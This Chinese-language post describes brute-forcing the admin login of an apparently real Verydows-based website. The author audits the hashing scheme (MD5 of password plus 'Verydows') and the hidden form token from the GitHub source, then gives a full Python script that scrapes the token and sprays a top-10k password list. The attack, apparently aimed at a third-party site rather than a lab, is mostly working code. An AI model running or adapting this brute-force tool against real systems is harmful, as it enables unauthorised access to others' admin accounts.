首先,说明下,这不是最优办法,是我的笨办法,希望有师傅能给更好的实现方式。
然后,我要推荐这个bp插件reissue-request-scripter是真的很好用。
扫后台和目录收集到了一些没有什么用的信息
也没有发现后台地址
然后在GitHub上发现了源码
在自己电脑上搭建了网站
找到了后台登陆点
http://xx.xx.xx.xx/xxx/index.php?m=backend&c=main&a=index
爆破的时候发现了
密码是经过md5处理了
但是不是简单的直接MD5
通过简单的代码审计得知。密码是在 输入的基础上 加上Verydows然后进行hash的
验证:密码填写123456
Bp抓包到了加密后的值 与 123456 Verydows加密后的一样
验证成功
但是这样直接放入bp爆破却不行,会提示非法请求
通过研究发现
这个网站有一个隐藏的表单来判断是否是合法的请求
这个网站的逻辑是 index网页有一个隐藏的表单 然后post提交到login的页面
所以我们的爆破思路就是先请求index网页 将获取的隐藏表单 写入post提交的数据中
但是,我没有找到很好的方法绕过这个限制
历时一天以后
成功通过一个插件实现了我的需求
https://github.com/portswigger/reissue-request-scripter
利用此插件可以将获取的request直接转换成python的request代码
然后我就利用了下面的逻辑来写爆破
burpsutie插件提供的代码——》Python中处理——》cmd设置http代理绑定到burpsuite上——》Bp分析爆破结果
成功实现了自动爆破
目前还没有爆破出来
成功结果是返回长度不同,可以通过自己搭建的网站抓包得知。
附python代码
# coding=utf-8
import requests
import re
import hashlib
import time
def login(password, passwd):
session = requests.Session()
paramsGet = {"a": "index", "c": "main", "m": "backend"}
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36",
"Referer": "http://xx.xx.xx.xx/xxxx/index.php?m=backend&c=main&a=login",
"Connection": "close",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ru;q=0.6",
}
cookies = {"VDSSKEY": "7t608g0dbosarsfuap69r424q5", "FOOTPRINT": "325%2C345"}
response = session.get(
"http://xx.xx.xx.xx/xxxx/index.php",
params=paramsGet,
headers=headers,
cookies=cookies,
)
# print("Status code: %i" % response.status_code)
# print("Response body: %s" % response.content)
html = response.text
pattern = re.compile(r'hidden" name="(.*?)" value="(.*?)" />\n <div', re.I)
info = pattern.findall(html)
# print(info)
paramsGet = {"a": "login", "c": "main", "m": "backend"}
paramsPost = {
"password": password,
info[0][0]: info[0][1],
"username": "admin",
}
headers = {
"Origin": "http://xx.xx.xx.xx",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36",
"Referer": "http://xx.xx.xx.xx/xxxx/index.php?m=backend&c=main&a=index",
"Connection": "close",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ru;q=0.6",
"Content-Type": "application/x-www-form-urlencoded",
}
cookies = {"VDSSKEY": "7t608g0dbosarsfuap69r424q5", "FOOTPRINT": "325%2C345"}
response = session.post(
"http://xx.xx.xx.xx/xxxx/index.php",
data=paramsPost,
params=paramsGet,
headers=headers,
cookies=cookies,
)
# print("Status code: %i" % response.status_code)
# print("Response body: %s" % response.content.decode(encoding="utf-8"))
print(passwd, len(response.content.decode(encoding='utf-8')))#这里不知道为什么没有获取到返回的长度
def md5(password):
data = str(password) + "Verydows"
return hashlib.md5(data.encode("utf-8")).hexdigest()
def main():
f = open("somd5-top1w.txt", "r+")
while True:
line = f.readline() # read读整个文件, readline读一行 存str readlines按每一行读全部 存list
# print(line)
if len(line) == 0: # 读到最后一行之后没有找到关闭文件
f.close()
print("读取完成")
break
passwd = line.strip()
passwdMd5 = md5(passwd)
login(passwdMd5, passwd)
# login()
# print(md5(123456))
if __name__ == "__main__":
main()